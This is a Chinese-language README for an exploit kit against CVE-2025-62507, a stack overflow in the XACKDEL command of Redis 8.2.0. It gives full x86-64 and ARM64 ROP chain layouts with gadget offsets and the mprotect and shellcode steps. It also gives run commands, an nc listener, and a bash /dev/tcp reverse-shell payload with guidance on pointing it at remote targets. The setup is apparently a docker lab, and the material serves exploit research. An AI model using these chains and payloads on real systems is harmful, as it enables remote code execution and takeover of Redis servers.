scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 调试辅助脚本
| 项目 | 说明 |
|---|---|
| CVE | CVE-2025-62507 |
| 漏洞类型 | 栈缓冲区溢出 (Stack Buffer Overflow) |
| 受影响组件 | Redis 8.2.0 xackdelCommand 函数 |
| 触发方式 | XACKDEL 命令携带超过 52 个 streamID |
| 利用技术 | ROP 链 → mprotect 解锁栈执行权限 → shellcode 反弹 shell |
| 依赖 | Python 3 (纯标准库,无需额外安装) |
nc -lvnp 4444 等待反弹 shell/proc/<PID>/maps(root 权限)socket, struct, time, sys)# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d
# 确认容器运行
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
注意:每次容器重启后地址会变化(ASLR),需重新获取。
# 在宿主机另开一个终端
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| 参数 | 含义 | 获取方式 | 示例值 |
|---|---|---|---|
redis_base | redis-server ELF 基地址 | /proc/PID/maps 中 redis-server 首段起始地址 | 0x555555554000 |
libc_base | libc.so.6 基地址 | /proc/PID/maps 中 libc.so 首段起始地址 | 0x7ffff75b3000 |
stack_addr | 线程栈段起始地址 | /proc/PID/maps 中 [stack] 段起始地址 | 0x7ffffffde000 |
52 个填充 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
| Gadget | 偏移 | 说明 |
|---|---|---|
pop rdi; ret | 0x82327 | 设置 mprotect 第 1 参数 (addr) |
pop rsi; ret | 0x86416 | 设置 mprotect 第 2 参数 (len) |
pop rdx; ret | 0xba1e2 | 设置 mprotect 第 3 参数 (prot) |
call rsp | 0x9486d | 跳转到栈上 shellcode |
mprotect (libc) | 0x1019e0 | 解锁栈页为 RWX |
system (libc) | 0x4c490 | 执行反弹 shell 命令 |
reverse_shell_cmd 变量定义于脚本第 149 行,默认值如下:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
修改方法:编辑 exploit_x86.py,找到 reverse_shell_cmd 行,替换 IP 和端口:
| 场景 | IP | 说明 |
|---|---|---|
Docker host 网络 (默认) | 127.0.0.1 | 容器与宿主机共享网络栈,127.0.0.1 即宿主机 |
Docker bridge 网络 | 172.17.0.1 | 默认桥接网关,指向宿主机 |
| 远程攻击 | <攻击机公网IP> | 目标需能路由到攻击机对应端口 |
端口修改:将 /dev/tcp/<IP>/4444 中的 4444 替换为实际监听端口。
stack_page根据stack_addr参数动态计算:(stack_addr + 0x1000) & ~0xFFF,确保 mprotect 窗口覆盖 shellcode 所在的栈区域。若栈布局异常需同步调整。
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| 参数 | 含义 | 获取方式 | 示例值 |
|---|---|---|---|
redis_base | redis-server-8.2.0-arm64 ELF 基地址 | /proc/PID/maps 中 redis-server 首段起始地址 | 0xaaaaaaaa0000 |
libc_base | libc.so.6-arm64 基地址 | /proc/PID/maps 中 libc.so 首段起始地址 | 0xfffff7630000 |
stack_addr | xackdelCommand 入口处 SP 的值 (来自 GDB 分析) | GDB 断点观察 xackdelCommand 入口 SP | 0xfffffffff7e0 |
rev_host | (可选) 反弹 shell 攻击机 IP | — | 192.168.1.1 |
rev_port | (可选) 反弹 shell 监听端口 | — | 4444 |
target | (可选) 目标 Redis IP | — | 192.168.1.129 |
ARM64 注意:
stack_addr是xackdelCommand入口时的 SP 值(不是[stack]段起始地址!)。static_ids[0] = stack_addr - 0x310,call()的 saved x30 位于stack_addr + 8(即static_ids[49].seq)。
49 个填充 ID (1-1)
│
▼
ID#49-58 call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 局部变量 (设为 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
关键:
call()的尾声 (epilogue) 在ret之前会从栈恢复 x19-x28 和读取多个局部变量。ID#49-58 必须填充安全值,否则 epilogue 执行过程中会崩溃。ROP 链从 ID#59(call()ret 之后的 SP 位置)开始。
| Gadget | 偏移 | 功能 | 栈消耗 |
|---|---|---|---|
G5 (ldp x19,x20 + ldr x0) | 0x1a4d40 | 加载 x19, x0 从栈 | 0x30 (3 IDs) |
G_SET_X2_7 | 0x1d7a84 | 设置 w2=7, w1=-1 (副作用) | 0x40 (4 IDs) |
MOV_X3_X19 | 0x2948b0 | x3 = x19 (mprotect), 覆盖 x0 | 0x170 (23 IDs) |
BLR_X3 | 0x92bc4 | blr x3; 调用 mprotect | 0x30 (3 IDs) |
| Gadget | 偏移 | 功能 | 栈消耗 |
|---|---|---|---|
LDR_X1_SIDELOAD | 0x34ab4 | ldr x1,[sp,#0x18]; mov x0,x1 (副作用!) | 0x20 (2 IDs) |
LDR_X0_CLEAN | 0x6ae40 | ldr x0,[sp,#0x18]; 无副作用 | 0x20 (2 IDs) |
mprotect | 0xe3ac0 | 修改内存权限 | - |
system | 0x49c24 | 执行 shell 命令 | - |
注意:
LDR_X1_SIDELOAD有mov x0, x1副作用,执行后 x0 会被 x1 覆盖!后续需用 G5 或 LDR_X0_CLEAN 重新设置 x0。
reverse_shell_cmd 在 build_exploit_arm64() 函数中动态构建,基于 rev_shell_host 和 rev_shell_port 参数:
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
推荐方法:通过命令行参数指定反弹地址:
# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
直接修改:编辑 exploit_arm64.py,修改 exploit() 函数默认参数值:
| 场景 | IP | 说明 |
|---|---|---|
Docker host 网络 | 127.0.0.1 | 容器与宿主机共享网络栈,127.0.0.1 即宿主机 |
Docker bridge 网络 | 172.17.0.1 | 默认桥接网关,指向宿主机 |
| QEMU 虚拟机 | 192.168.1.1 | 宿主机在 QEMU 网络中的地址 |
| 远程攻击 | <攻击机公网IP> | 目标需能路由到攻击机对应端口 |
# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID
脚本会自动:
binaries/redis-server-8.2.0 符号表xackdelCommand 设置断点mprotect 设置断点system 设置断点# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand
# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)
# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect